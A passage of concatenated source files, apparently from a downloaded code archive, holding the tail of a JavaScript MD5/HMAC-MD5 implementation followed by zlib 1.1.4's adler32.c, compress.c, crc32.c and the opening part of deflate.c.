        G = md5_gg(G, J, I, H, K[C + 6], 9, -1069501632);

        H = md5_gg(H, G, J, I, K[C + 11], 14, 643717713);

        I = md5_gg(I, H, G, J, K[C + 0], 20, -373897302);

        J = md5_gg(J, I, H, G, K[C + 5], 5, -701558691);

        G = md5_gg(G, J, I, H, K[C + 10], 9, 38016083);

        H = md5_gg(H, G, J, I, K[C + 15], 14, -660478335);

        I = md5_gg(I, H, G, J, K[C + 4], 20, -405537848);

        J = md5_gg(J, I, H, G, K[C + 9], 5, 568446438);

        G = md5_gg(G, J, I, H, K[C + 14], 9, -1019803690);

        H = md5_gg(H, G, J, I, K[C + 3], 14, -187363961);

        I = md5_gg(I, H, G, J, K[C + 8], 20, 1163531501);

        J = md5_gg(J, I, H, G, K[C + 13], 5, -1444681467);

        G = md5_gg(G, J, I, H, K[C + 2], 9, -51403784);

        H = md5_gg(H, G, J, I, K[C + 7], 14, 1735328473);

        I = md5_gg(I, H, G, J, K[C + 12], 20, -1926607734);

        J = md5_hh(J, I, H, G, K[C + 5], 4, -378558);

        G = md5_hh(G, J, I, H, K[C + 8], 11, -2022574463);

        H = md5_hh(H, G, J, I, K[C + 11], 16, 1839030562);

        I = md5_hh(I, H, G, J, K[C + 14], 23, -35309556);

        J = md5_hh(J, I, H, G, K[C + 1], 4, -1530992060);

        G = md5_hh(G, J, I, H, K[C + 4], 11, 1272893353);

        H = md5_hh(H, G, J, I, K[C + 7], 16, -155497632);

        I = md5_hh(I, H, G, J, K[C + 10], 23, -1094730640);

        J = md5_hh(J, I, H, G, K[C + 13], 4, 681279174);

        G = md5_hh(G, J, I, H, K[C + 0], 11, -358537222);

        H = md5_hh(H, G, J, I, K[C + 3], 16, -722521979);

        I = md5_hh(I, H, G, J, K[C + 6], 23, 76029189);

        J = md5_hh(J, I, H, G, K[C + 9], 4, -640364487);

        G = md5_hh(G, J, I, H, K[C + 12], 11, -421815835);

        H = md5_hh(H, G, J, I, K[C + 15], 16, 530742520);

        I = md5_hh(I, H, G, J, K[C + 2], 23, -995338651);

        J = md5_ii(J, I, H, G, K[C + 0], 6, -198630844);

        G = md5_ii(G, J, I, H, K[C + 7], 10, 1126891415);

        H = md5_ii(H, G, J, I, K[C + 14], 15, -1416354905);

        I = md5_ii(I, H, G, J, K[C + 5], 21, -57434055);

        J = md5_ii(J, I, H, G, K[C + 12], 6, 1700485571);

        G = md5_ii(G, J, I, H, K[C + 3], 10, -1894986606);

        H = md5_ii(H, G, J, I, K[C + 10], 15, -1051523);

        I = md5_ii(I, H, G, J, K[C + 1], 21, -2054922799);

        J = md5_ii(J, I, H, G, K[C + 8], 6, 1873313359);

        G = md5_ii(G, J, I, H, K[C + 15], 10, -30611744);

        H = md5_ii(H, G, J, I, K[C + 6], 15, -1560198380);

        I = md5_ii(I, H, G, J, K[C + 13], 21, 1309151649);

        J = md5_ii(J, I, H, G, K[C + 4], 6, -145523070);

        G = md5_ii(G, J, I, H, K[C + 11], 10, -1120210379);

        H = md5_ii(H, G, J, I, K[C + 2], 15, 718787259);

        I = md5_ii(I, H, G, J, K[C + 9], 21, -343485551);

        J = safe_add(J, E);

        I = safe_add(I, D);

        H = safe_add(H, B);

        G = safe_add(G, A)

    }

    if (mode == 16) {

        return Array(I, H)

    } else {

        return Array(J, I, H, G)

    }

}

function md5_cmn(F, C, B, A, E, D) {

    return safe_add(bit_rol(safe_add(safe_add(C, F), safe_add(A, D)), E), B)

}

function md5_ff(C, B, G, F, A, E, D) {

    return md5_cmn((B & G) | ((~B) & F), C, B, A, E, D)

}

function md5_gg(C, B, G, F, A, E, D) {

    return md5_cmn((B & F) | (G & (~F)), C, B, A, E, D)

}

function md5_hh(C, B, G, F, A, E, D) {

    return md5_cmn(B ^ G ^ F, C, B, A, E, D)

}

function md5_ii(C, B, G, F, A, E, D) {

    return md5_cmn(G ^ (B | (~F)), C, B, A, E, D)

}

function core_hmac_md5(C, F) {

    var E = str2binl(C);

    if (E.length > 16) {

        E = core_md5(E, C.length * chrsz)

    }

    var A = Array(16),

    D = Array(16);

    for (var B = 0; B < 16; B++) {

        A[B] = E[B] ^ 909522486;

        D[B] = E[B] ^ 1549556828

    }

    var G = core_md5(A.concat(str2binl(F)), 512 + F.length * chrsz);

    return core_md5(D.concat(G), 512 + 128)

}

function safe_add(A, D) {

    var C = (A & 65535) + (D & 65535);

    var B = (A >> 16) + (D >> 16) + (C >> 16);

    return (B << 16) | (C & 65535)

}

function bit_rol(A, B) {

    return (A << B) | (A >>> (32 - B))

}

function str2binl(D) {

    var C = Array();

    var A = (1 << chrsz) - 1;

    for (var B = 0; B < D.length * chrsz; B += chrsz) {

        C[B >> 5] |= (D.charCodeAt(B / chrsz) & A) << (B % 32)

    }

    return C

}

function binl2str(C) {

    var D = "";

    var A = (1 << chrsz) - 1;

    for (var B = 0; B < C.length * 32; B += chrsz) {

        D += String.fromCharCode((C[B >> 5] >>> (B % 32)) & A)

    }

    return D

}

function binl2hex(C) {

    var B = hexcase ? "0123456789ABCDEF": "0123456789abcdef";

    var D = "";

    for (var A = 0; A < C.length * 4; A++) {

        D += B.charAt((C[A >> 2] >> ((A % 4) * 8 + 4)) & 15) + B.charAt((C[A >> 2] >> ((A % 4) * 8)) & 15)

    }

    return D

}

function binl2b64(D) {

    var C = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

    var F = "";

    for (var B = 0; B < D.length * 4; B += 3) {

        var E = (((D[B >> 2] >> 8 * (B % 4)) & 255) << 16) | (((D[B + 1 >> 2] >> 8 * ((B + 1) % 4)) & 255) << 8) | ((D[B + 2 >> 2] >> 8 * ((B + 2) % 4)) & 255);

        for (var A = 0; A < 4; A++) {

            if (B * 8 + A * 6 > D.length * 32) {

                F += b64pad

            } else {

                F += C.charAt((E >> 6 * (3 - A)) & 63)

            }

        }

    }

    return F

};

/*  |xGv00|fdc64de296a9e6e4a0768719da13ecb0 */







源码/Zip/adler32.c

/* adler32.c -- compute the Adler-32 checksum of a data stream

 * Copyright (C) 1995-2002 Mark Adler

 * For conditions of distribution and use, see copyright notice in zlib.h 

 */



/* @(#) $Id$ */



#include "zlib.h"



#define BASE 65521L /* largest prime smaller than 65536 */

#define NMAX 5552

/* NMAX is the largest n such that 255n(n+1)/2 + (n+1)(BASE-1) <= 2^32-1 */



#define DO1(buf,i)  {s1 += buf[i]; s2 += s1;}

#define DO2(buf,i)  DO1(buf,i); DO1(buf,i+1);

#define DO4(buf,i)  DO2(buf,i); DO2(buf,i+2);

#define DO8(buf,i)  DO4(buf,i); DO4(buf,i+4);

#define DO16(buf)   DO8(buf,0); DO8(buf,8);



/* ========================================================================= */

uLong ZEXPORT adler32(adler, buf, len)

    uLong adler;

    const Bytef *buf;

    uInt len;

{

    unsigned long s1 = adler & 0xffff;

    unsigned long s2 = (adler >> 16) & 0xffff;

    int k;



    if (buf == Z_NULL) return 1L;



    while (len > 0) {

        k = len < NMAX ? len : NMAX;

        len -= k;

        while (k >= 16) {

            DO16(buf);

	    buf += 16;

            k -= 16;

        }

        if (k != 0) do {

            s1 += *buf++;

	    s2 += s1;

        } while (--k);

        s1 %= BASE;

        s2 %= BASE;

    }

    return (s2 << 16) | s1;

}









源码/Zip/compress.c

/* compress.c -- compress a memory buffer

 * Copyright (C) 1995-2002 Jean-loup Gailly.

 * For conditions of distribution and use, see copyright notice in zlib.h 

 */



/* @(#) $Id$ */



#include "zlib.h"



/* ===========================================================================

     Compresses the source buffer into the destination buffer. The level

   parameter has the same meaning as in deflateInit.  sourceLen is the byte

   length of the source buffer. Upon entry, destLen is the total size of the

   destination buffer, which must be at least 0.1% larger than sourceLen plus

   12 bytes. Upon exit, destLen is the actual size of the compressed buffer.



     compress2 returns Z_OK if success, Z_MEM_ERROR if there was not enough

   memory, Z_BUF_ERROR if there was not enough room in the output buffer,

   Z_STREAM_ERROR if the level parameter is invalid.

*/

int ZEXPORT compress2 (dest, destLen, source, sourceLen, level)

    Bytef *dest;

    uLongf *destLen;

    const Bytef *source;

    uLong sourceLen;

    int level;

{

    z_stream stream;

    int err;



    stream.next_in = (Bytef*)source;

    stream.avail_in = (uInt)sourceLen;

#ifdef MAXSEG_64K

    /* Check for source > 64K on 16-bit machine: */

    if ((uLong)stream.avail_in != sourceLen) return Z_BUF_ERROR;

#endif

    stream.next_out = dest;

    stream.avail_out = (uInt)*destLen;

    if ((uLong)stream.avail_out != *destLen) return Z_BUF_ERROR;



    stream.zalloc = (alloc_func)0;

    stream.zfree = (free_func)0;

    stream.opaque = (voidpf)0;



    err = deflateInit(&stream, level);

    if (err != Z_OK) return err;



    err = deflate(&stream, Z_FINISH);

    if (err != Z_STREAM_END) {

        deflateEnd(&stream);

        return err == Z_OK ? Z_BUF_ERROR : err;

    }

    *destLen = stream.total_out;



    err = deflateEnd(&stream);

    return err;

}



/* ===========================================================================

 */

int ZEXPORT compress (dest, destLen, source, sourceLen)

    Bytef *dest;

    uLongf *destLen;

    const Bytef *source;

    uLong sourceLen;

{

    return compress2(dest, destLen, source, sourceLen, Z_DEFAULT_COMPRESSION);

}









源码/Zip/crc32.c

/* crc32.c -- compute the CRC-32 of a data stream

 * Copyright (C) 1995-2002 Mark Adler

 * For conditions of distribution and use, see copyright notice in zlib.h 

 */



/* @(#) $Id$ */



#include "zlib.h"



#define local static



#ifdef DYNAMIC_CRC_TABLE



local int crc_table_empty = 1;

local uLongf crc_table[256];

local void make_crc_table OF((void));



/*

  Generate a table for a byte-wise 32-bit CRC calculation on the polynomial:

  x^32+x^26+x^23+x^22+x^16+x^12+x^11+x^10+x^8+x^7+x^5+x^4+x^2+x+1.



  Polynomials over GF(2) are represented in binary, one bit per coefficient,

  with the lowest powers in the most significant bit.  Then adding polynomials

  is just exclusive-or, and multiplying a polynomial by x is a right shift by

  one.  If we call the above polynomial p, and represent a byte as the

  polynomial q, also with the lowest power in the most significant bit (so the

  byte 0xb1 is the polynomial x^7+x^3+x+1), then the CRC is (q*x^32) mod p,

  where a mod b means the remainder after dividing a by b.



  This calculation is done using the shift-register method of multiplying and

  taking the remainder.  The register is initialized to zero, and for each

  incoming bit, x^32 is added mod p to the register if the bit is a one (where

  x^32 mod p is p+x^32 = x^26+...+1), and the register is multiplied mod p by

  x (which is shifting right by one and adding x^32 mod p if the bit shifted

  out is a one).  We start with the highest power (least significant bit) of

  q and repeat for all eight bits of q.



  The table is simply the CRC of all possible eight bit values.  This is all

  the information needed to generate CRC's on data a byte at a time for all

  combinations of CRC register values and incoming bytes.

*/

local void make_crc_table()

{

  uLong c;

  int n, k;

  uLong poly;            /* polynomial exclusive-or pattern */

  /* terms of polynomial defining this crc (except x^32): */

  static const Byte p[] = {0,1,2,4,5,7,8,10,11,12,16,22,23,26};



  /* make exclusive-or pattern from polynomial (0xedb88320L) */

  poly = 0L;

  for (n = 0; n < sizeof(p)/sizeof(Byte); n++)

    poly |= 1L << (31 - p[n]);

 

  for (n = 0; n < 256; n++)

  {

    c = (uLong)n;

    for (k = 0; k < 8; k++)

      c = c & 1 ? poly ^ (c >> 1) : c >> 1;

    crc_table[n] = c;

  }

  crc_table_empty = 0;

}

#else

/* ========================================================================

 * Table of CRC-32's of all single-byte values (made by make_crc_table)

 */

local const uLongf crc_table[256] = {

  0x00000000L, 0x77073096L, 0xee0e612cL, 0x990951baL, 0x076dc419L,

  0x706af48fL, 0xe963a535L, 0x9e6495a3L, 0x0edb8832L, 0x79dcb8a4L,

  0xe0d5e91eL, 0x97d2d988L, 0x09b64c2bL, 0x7eb17cbdL, 0xe7b82d07L,

  0x90bf1d91L, 0x1db71064L, 0x6ab020f2L, 0xf3b97148L, 0x84be41deL,

  0x1adad47dL, 0x6ddde4ebL, 0xf4d4b551L, 0x83d385c7L, 0x136c9856L,

  0x646ba8c0L, 0xfd62f97aL, 0x8a65c9ecL, 0x14015c4fL, 0x63066cd9L,

  0xfa0f3d63L, 0x8d080df5L, 0x3b6e20c8L, 0x4c69105eL, 0xd56041e4L,

  0xa2677172L, 0x3c03e4d1L, 0x4b04d447L, 0xd20d85fdL, 0xa50ab56bL,

  0x35b5a8faL, 0x42b2986cL, 0xdbbbc9d6L, 0xacbcf940L, 0x32d86ce3L,

  0x45df5c75L, 0xdcd60dcfL, 0xabd13d59L, 0x26d930acL, 0x51de003aL,

  0xc8d75180L, 0xbfd06116L, 0x21b4f4b5L, 0x56b3c423L, 0xcfba9599L,

  0xb8bda50fL, 0x2802b89eL, 0x5f058808L, 0xc60cd9b2L, 0xb10be924L,

  0x2f6f7c87L, 0x58684c11L, 0xc1611dabL, 0xb6662d3dL, 0x76dc4190L,

  0x01db7106L, 0x98d220bcL, 0xefd5102aL, 0x71b18589L, 0x06b6b51fL,

  0x9fbfe4a5L, 0xe8b8d433L, 0x7807c9a2L, 0x0f00f934L, 0x9609a88eL,

  0xe10e9818L, 0x7f6a0dbbL, 0x086d3d2dL, 0x91646c97L, 0xe6635c01L,

  0x6b6b51f4L, 0x1c6c6162L, 0x856530d8L, 0xf262004eL, 0x6c0695edL,

  0x1b01a57bL, 0x8208f4c1L, 0xf50fc457L, 0x65b0d9c6L, 0x12b7e950L,

  0x8bbeb8eaL, 0xfcb9887cL, 0x62dd1ddfL, 0x15da2d49L, 0x8cd37cf3L,

  0xfbd44c65L, 0x4db26158L, 0x3ab551ceL, 0xa3bc0074L, 0xd4bb30e2L,

  0x4adfa541L, 0x3dd895d7L, 0xa4d1c46dL, 0xd3d6f4fbL, 0x4369e96aL,

  0x346ed9fcL, 0xad678846L, 0xda60b8d0L, 0x44042d73L, 0x33031de5L,

  0xaa0a4c5fL, 0xdd0d7cc9L, 0x5005713cL, 0x270241aaL, 0xbe0b1010L,

  0xc90c2086L, 0x5768b525L, 0x206f85b3L, 0xb966d409L, 0xce61e49fL,

  0x5edef90eL, 0x29d9c998L, 0xb0d09822L, 0xc7d7a8b4L, 0x59b33d17L,

  0x2eb40d81L, 0xb7bd5c3bL, 0xc0ba6cadL, 0xedb88320L, 0x9abfb3b6L,

  0x03b6e20cL, 0x74b1d29aL, 0xead54739L, 0x9dd277afL, 0x04db2615L,

  0x73dc1683L, 0xe3630b12L, 0x94643b84L, 0x0d6d6a3eL, 0x7a6a5aa8L,

  0xe40ecf0bL, 0x9309ff9dL, 0x0a00ae27L, 0x7d079eb1L, 0xf00f9344L,

  0x8708a3d2L, 0x1e01f268L, 0x6906c2feL, 0xf762575dL, 0x806567cbL,

  0x196c3671L, 0x6e6b06e7L, 0xfed41b76L, 0x89d32be0L, 0x10da7a5aL,

  0x67dd4accL, 0xf9b9df6fL, 0x8ebeeff9L, 0x17b7be43L, 0x60b08ed5L,

  0xd6d6a3e8L, 0xa1d1937eL, 0x38d8c2c4L, 0x4fdff252L, 0xd1bb67f1L,

  0xa6bc5767L, 0x3fb506ddL, 0x48b2364bL, 0xd80d2bdaL, 0xaf0a1b4cL,

  0x36034af6L, 0x41047a60L, 0xdf60efc3L, 0xa867df55L, 0x316e8eefL,

  0x4669be79L, 0xcb61b38cL, 0xbc66831aL, 0x256fd2a0L, 0x5268e236L,

  0xcc0c7795L, 0xbb0b4703L, 0x220216b9L, 0x5505262fL, 0xc5ba3bbeL,

  0xb2bd0b28L, 0x2bb45a92L, 0x5cb36a04L, 0xc2d7ffa7L, 0xb5d0cf31L,

  0x2cd99e8bL, 0x5bdeae1dL, 0x9b64c2b0L, 0xec63f226L, 0x756aa39cL,

  0x026d930aL, 0x9c0906a9L, 0xeb0e363fL, 0x72076785L, 0x05005713L,

  0x95bf4a82L, 0xe2b87a14L, 0x7bb12baeL, 0x0cb61b38L, 0x92d28e9bL,

  0xe5d5be0dL, 0x7cdcefb7L, 0x0bdbdf21L, 0x86d3d2d4L, 0xf1d4e242L,

  0x68ddb3f8L, 0x1fda836eL, 0x81be16cdL, 0xf6b9265bL, 0x6fb077e1L,

  0x18b74777L, 0x88085ae6L, 0xff0f6a70L, 0x66063bcaL, 0x11010b5cL,

  0x8f659effL, 0xf862ae69L, 0x616bffd3L, 0x166ccf45L, 0xa00ae278L,

  0xd70dd2eeL, 0x4e048354L, 0x3903b3c2L, 0xa7672661L, 0xd06016f7L,

  0x4969474dL, 0x3e6e77dbL, 0xaed16a4aL, 0xd9d65adcL, 0x40df0b66L,

  0x37d83bf0L, 0xa9bcae53L, 0xdebb9ec5L, 0x47b2cf7fL, 0x30b5ffe9L,

  0xbdbdf21cL, 0xcabac28aL, 0x53b39330L, 0x24b4a3a6L, 0xbad03605L,

  0xcdd70693L, 0x54de5729L, 0x23d967bfL, 0xb3667a2eL, 0xc4614ab8L,

  0x5d681b02L, 0x2a6f2b94L, 0xb40bbe37L, 0xc30c8ea1L, 0x5a05df1bL,

  0x2d02ef8dL

};

#endif



/* =========================================================================

 * This function can be used by asm versions of crc32()

 */

const uLongf * ZEXPORT get_crc_table()

{

#ifdef DYNAMIC_CRC_TABLE

  if (crc_table_empty) make_crc_table();

#endif

  return (const uLongf *)crc_table;

}



/* ========================================================================= */

#define DO1(buf) crc = crc_table[((int)crc ^ (*buf++)) & 0xff] ^ (crc >> 8);

#define DO2(buf)  DO1(buf); DO1(buf);

#define DO4(buf)  DO2(buf); DO2(buf);

#define DO8(buf)  DO4(buf); DO4(buf);



/* ========================================================================= */

uLong ZEXPORT crc32(crc, buf, len)

    uLong crc;

    const Bytef *buf;

    uInt len;

{

    if (buf == Z_NULL) return 0L;

#ifdef DYNAMIC_CRC_TABLE

    if (crc_table_empty)

      make_crc_table();

#endif

    crc = crc ^ 0xffffffffL;

    while (len >= 8)

    {

      DO8(buf);

      len -= 8;

    }

    if (len) do {

      DO1(buf);

    } while (--len);

    return crc ^ 0xffffffffL;

}









源码/Zip/deflate.c

/* deflate.c -- compress data using the deflation algorithm

 * Copyright (C) 1995-2002 Jean-loup Gailly.

 * For conditions of distribution and use, see copyright notice in zlib.h 

 */



/*

 *  ALGORITHM

 *

 *      The "deflation" process depends on being able to identify portions

 *      of the input text which are identical to earlier input (within a

 *      sliding window trailing behind the input currently being processed).

 *

 *      The most straightforward technique turns out to be the fastest for

 *      most input files: try all possible matches and select the longest.

 *      The key feature of this algorithm is that insertions into the string

 *      dictionary are very simple and thus fast, and deletions are avoided

 *      completely. Insertions are performed at each input character, whereas

 *      string matches are performed only when the previous match ends. So it

 *      is preferable to spend more time in matches to allow very fast string

 *      insertions and avoid deletions. The matching algorithm for small

 *      strings is inspired from that of Rabin & Karp. A brute force approach

 *      is used to find longer strings when a small match has been found.

 *      A similar algorithm is used in comic (by Jan-Mark Wams) and freeze

 *      (by Leonid Broukhis).

 *         A previous version of this file used a more sophisticated algorithm

 *      (by Fiala and Greene) which is guaranteed to run in linear amortized

 *      time, but has a larger average cost, uses more memory and is patented.

 *      However the F&G algorithm may be faster for some highly redundant

 *      files if the parameter max_chain_length (described below) is too large.

 *

 *  ACKNOWLEDGEMENTS

 *

 *      The idea of lazy evaluation of matches is due to Jan-Mark Wams, and

 *      I found it in 'freeze' written by Leonid Broukhis.

 *      Thanks to many people for bug reports and testing.

 *

 *  REFERENCES

 *

 *      Deutsch, L.P.,"DEFLATE Compressed Data Format Specification".

 *      Available in ftp://ds.internic.net/rfc/rfc1951.txt

 *

 *      A description of the Rabin and Karp algorithm is given in the book

 *         "Algorithms" by R. Sedgewick, Addison-Wesley, p252.

 *

 *      Fiala,E.R., and Greene,D.H.

 *         Data Compression with Finite Windows, Comm.ACM, 32,4 (1989) 490-595

 *

 */



/* @(#) $Id$ */



#include "deflate.h"



const char deflate_copyright[] =

   " deflate 1.1.4 Copyright 1995-2002 Jean-loup Gailly ";

/*

  If you use the zlib library in a product, an acknowledgment is welcome

  in the documentation of your product. If for some reason you cannot

  include such an acknowledgment, I would appreciate that you keep this

  copyright string in the executable of your product.

 */



/* ===========================================================================

 *  Function prototypes.

 */

typedef enum {

    need_more,      /* block not completed, need more input or more output */

    block_done,     /* block flush performed */

    finish_started, /* finish started, need only more output at next deflate */

    finish_done     /* finish done, accept no more input or output */

} block_state;



typedef block_state (*compress_func) OF((deflate_state *s, int flush));

/* Compression function. Returns the block state after the call. */



local void fill_window    OF((deflate_state *s));

local block_state deflate_stored OF((deflate_state *s, int flush));

local block_state deflate_fast   OF((deflate_state *s, int flush));

local block_state deflate_slow   OF((deflate_state *s, int flush));

local void lm_init        OF((deflate_state *s));

local void putShortMSB    OF((deflate_state *s, uInt b));

local void flush_pending  OF((z_streamp strm));

local int read_buf        OF((z_streamp strm, Bytef *buf, unsigned size));

#ifdef ASMV

      void match_init OF((void)); /* asm code initialization */

      uInt longest_match  OF((deflate_state *s, IPos cur_match));

#else

local uInt longest_match  OF((deflate_state *s, IPos cur_match));

#endif



#ifdef DEBUG

local  void check_match OF((deflate_state *s, IPos start, IPos match,

                            int length));

#endif



/* ===========================================================================

 * Local data

 */



#define NIL 0

/* Tail of hash chains */



#ifndef TOO_FAR

#  define TOO_FAR 4096

#endif

/* Matches of length 3 are discarded if their distance exceeds TOO_FAR */



#define MIN_LOOKAHEAD (MAX_MATCH+MIN_MATCH+1)

/* Minimum amount of lookahead, except at the end of the input file.

 * See deflate.c for comments about the MIN_MATCH+1.

 */



/* Values for max_lazy_match, good_match and max_chain_length, depending on

 * the desired pack level (0..9). The values given below have been tuned to

 * exclude worst case performance for pathological files. Better values may be

 * found for specific files.

 */

typedef struct config_s {

   ush good_length; /* reduce lazy search above this match length */

   ush max_lazy;    /* do not perform lazy search above this match length */

   ush nice_length; /* quit search above this match length */

   ush max_chain;

   compress_func func;

} config;



local const config configuration_table[10] = {

/*      good lazy nice chain */

/* 0 */ {0,    0,  0,    0, deflate_stored},  /* store only */

/* 1 */ {4,    4,  8,    4, deflate_fast}, /* maximum speed, no lazy matches */

/* 2 */ {4,    5, 16,    8, deflate_fast},

/* 3 */ {4,    6, 32,   32, deflate_fast},



/* 4 */ {4,    4, 16,   16, deflate_slow},  /* lazy matches */

/* 5 */ {8,   16, 32,   32, deflate_slow},

/* 6 */ {8,   16, 128, 128, deflate_slow},

/* 7 */ {8,   32, 128, 256, deflate_slow},

/* 8 */ {32, 128, 258, 1024, deflate_slow},

/* 9 */ {32, 258, 258, 4096, deflate_slow}}; /* maximum compression */



/* Note: the deflate() code requires max_lazy >= MIN_MATCH and max_chain >= 4

 * For deflate_fast() (levels <= 3) good is ignored and lazy has a different

 * meaning.

 */



#define EQUAL 0

/* result of memcmp for equal strings */



struct static_tree_desc_s {int dummy;}; /* for buggy compilers */



/* ===========================================================================

 * Update a hash value with the given input byte

 * IN  assertion: all calls to to UPDATE_HASH are made with consecutive

 *    input characters, so that a running hash key can be computed from the

 *    previous key instead of complete recalculation each time.

 */

#define UPDATE_HASH(s,h,c) (h = (((h)<<s->hash_shift) ^ (c)) & s->hash_mask)





/* ===========================================================================

 * Insert string str in the dictionary and set match_head to the previous head

 * of the hash chain (the most recent string with same hash key). Return

 * the previous length of the hash chain.

 * If this file is compiled with -DFASTEST, the compression level is forced

 * to 1, and no hash chains are maintained.

 * IN  assertion: all calls to to INSERT_STRING are made with consecutive

 *    input characters and the first MIN_MATCH bytes of str are valid

 *    (except for the last MIN_MATCH-1 bytes of the input file).

 */

#ifdef FASTEST

#define INSERT_STRING(s, str, match_head) \

   (UPDATE_HASH(s, s->ins_h, s->window[(str) + (MIN_MATCH-1)]), \

    match_head = s->head[s->ins_h], \

    s->head[s->ins_h] = (Pos)(str))

#else

#define INSERT_STRING(s, str, match_head) \

   (UPDATE_HASH(s, s->ins_h, s->window[(str) + (MIN_MATCH-1)]), \

    s->prev[(str) & s->w_mask] = match_head = s->head[s->ins_h], \

    s->head[s->ins_h] = (Pos)(str))

#endif



/* ===========================================================================

 * Initialize the hash table (avoiding 64K overflow for 16 bit systems).

 * prev[] will be initialized on the fly.

 */

#define CLEAR_HASH(s) \

    s->head[s->hash_size-1] = NIL; \

    zmemzero((Bytef *)s->head, (unsigned)(s->hash_size-1)*sizeof(*s->head));



/* ========================================================================= */

int ZEXPORT deflateInit_(strm, level, version, stream_size)

    z_streamp strm;

    int level;

    const char *version;

    int stream_size;

{

    return deflateInit2_(strm, level, Z_DEFLATED, MAX_WBITS, DEF_MEM_LEVEL,

			 Z_DEFAULT_STRATEGY, version, stream_size);

    /* To do: ignore strm->next_in if we use it as window */

}



/* ========================================================================= */

int ZEXPORT deflateInit2_(strm, level, method, windowBits, memLevel, strategy,

		  version, stream_size)

    z_streamp strm;

    int  level;

    int  method;

    int  windowBits;

    int  memLevel;

    int  strategy;

    const char *version;

    int stream_size;

{

    deflate_state *s;

    int noheader = 0;

    static const char* my_version = ZLIB_VERSION;



    ushf *overlay;

    /* We overlay pending_buf and d_buf+l_buf. This works since the average

     * output size for (length,distance) codes is <= 24 bits.

     */



    if (version == Z_NULL || version[0] != my_version[0] ||

        stream_size != sizeof(z_stream)) {

	return Z_VERSION_ERROR;

    }

    if (strm == Z_NULL) return Z_STREAM_ERROR;



    strm->msg = Z_NULL;

    if (strm->zalloc == Z_NULL) {

	strm->zalloc = zcalloc;

	strm->opaque = (voidpf)0;

    }

    if (strm->zfree == Z_NULL) strm->zfree = zcfree;



    if (level == Z_DEFAULT_COMPRESSION) level = 6;

#ifdef FASTEST

    level = 1;

#endif



    if (windowBits < 0) { /* undocumented feature: suppress zlib header */

        noheader = 1;

        windowBits = -windowBits;

    }

    if (memLevel < 1 || memLevel > MAX_MEM_LEVEL || method != Z_DEFLATED ||

        windowBits < 9 || windowBits > 15 || level < 0 || level > 9 ||

	strategy < 0 || strategy > Z_HUFFMAN_ONLY) {

        return Z_STREAM_ERROR;

    }

    s = (deflate_state *) ZALLOC(strm, 1, sizeof(deflate_state));

    if (s == Z_NULL) return Z_MEM_ERROR;

    strm->state = (struct internal_state FAR *)s;

    s->strm = strm;



    s->noheader = noheader;

    s->w_bits = windowBits;

    s->w_size = 1 << s->w_bits;

    s->w_mask = s->w_size - 1;



    s->hash_bits = memLevel + 7;

    s->hash_size = 1 << s->hash_bits;

    s->hash_mask = s->hash_size - 1;

    s->hash_shift =  ((s->hash_bits+MIN_MATCH-1)/MIN_MATCH);



    s->window = (Bytef *) ZALLOC(strm, s->w_size, 2*sizeof(Byte));

    s->prev   = (Posf *)  ZALLOC(strm, s->w_size, sizeof(Pos));

    s->head   = (Posf *)  ZALLOC(strm, s->hash_size, sizeof(Pos));



    s->lit_bufsize = 1 << (memLevel + 6); /* 16K elements by default */



    overlay = (ushf *) ZALLOC(strm, s->lit_bufsize, sizeof(ush)+2);

    s->pending_buf = (uchf *) overlay;

    s->pending_buf_size = (ulg)s->lit_bufsize * (sizeof(ush)+2L);



    if (s->window == Z_NULL || s->prev == Z_NULL || s->head == Z_NULL ||

        s->pending_buf == Z_NULL) {

        strm->msg = (char*)ERR_MSG(Z_MEM_ERROR);

        deflateEnd (strm);

        return Z_MEM_ERROR;

    }

    s->d_buf = overlay + s->lit_bufsize/sizeof(ush);

    s->l_buf = s->pending_buf + (1+sizeof(ush))*s->lit_bufsize;



    s->level = level;

    s->strategy = strategy;

    s->method = (Byte)method;



    return deflateReset(strm);

}



/* ========================================================================= */

int ZEXPORT deflateSetDictionary (strm, dictionary, dictLength)

    z_streamp strm;

    const Bytef *dictionary;

    uInt  dictLength;

{

    deflate_state *s;

    uInt length = dictLength;

    uInt n;

    IPos hash_head = 0;



    if (strm == Z_NULL || strm->state == Z_NULL || dictionary == Z_NULL ||

        strm->state->status != INIT_STATE) return Z_STREAM_ERROR;



    s = strm->state;

    strm->adler = adler32(strm->adler, dictionary, dictLength);



    if (length < MIN_MATCH) return Z_OK;

    if (length > MAX_DIST(s)) {

	length = MAX_DIST(s);

#ifndef USE_DICT_HEAD

	dictionary += dictLength - length; /* use the tail of the dictionary */

#endif

    }

    zmemcpy(s->window, dictionary, length);

    s->strstart = length;

    s->block_start = (long)length;



    /* Insert all strings in the hash table (except for the last two bytes).

     * s->lookahead stays null, so s->ins_h will be recomputed at the next

     * call of fill_window.

     */

    s->ins_h = s->window[0];

    UPDATE_HASH(s, s->ins_h, s->window[1]);

    for (n = 0; n <= length - MIN_MATCH; n++) {

	INSERT_STRING(s, n, hash_head);

    }

    if (hash_head) hash_head = 0;  /* to make compiler happy */

    return Z_OK;

}



/* ========================================================================= */

int ZEXPORT deflateReset (strm)

    z_streamp strm;

{

    deflate_state *s;

    

    if (strm == Z_NULL || strm->state == Z_NULL ||

        strm->zalloc == Z_NULL || strm->zfree == Z_NULL) return Z_STREAM_ERROR;



    strm->total_in = strm->total_out = 0;

    strm->msg = Z_NULL; /* use zfree if we ever allocate msg dynamically */

    strm->data_type = Z_UNKNOWN;



    s = (deflate_state *)strm->state;

    s->pending = 0;

    s->pending_out = s->pending_buf;



    if (s->noheader < 0) {

        s->noheader = 0; /* was set to -1 by deflate(..., Z_FINISH); */

    }

    s->status = s->noheader ? BUSY_STATE : INIT_STATE;

    strm->adler = 1;

    s->last_flush = Z_NO_FLUSH;



    _tr_init(s);

    lm_init(s);



    return Z_OK;

}



/* ========================================================================= */

int ZEXPORT deflateParams(strm, level, strategy)

    z_streamp strm;

    int level;

    int strategy;

{

    deflate_state *s;

    compress_func func;

    int err = Z_OK;



    if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR;

    s = strm->state;



    if (level == Z_DEFAULT_COMPRESSION) {

	level = 6;

    }

    if (level < 0 || level > 9 || strategy < 0 || strategy > Z_HUFFMAN_ONLY) {

	return Z_STREAM_ERROR;

    }

    func = configuration_table[s->level].func;



    if (func != configuration_table[level].func && strm->total_in != 0) {

	/* Flush the last buffer: */

	err = deflate(strm, Z_PARTIAL_FLUSH);

    }

    if (s->level != level) {

	s->level = level;

	s->max_lazy_match   = configuration_table[level].max_lazy;

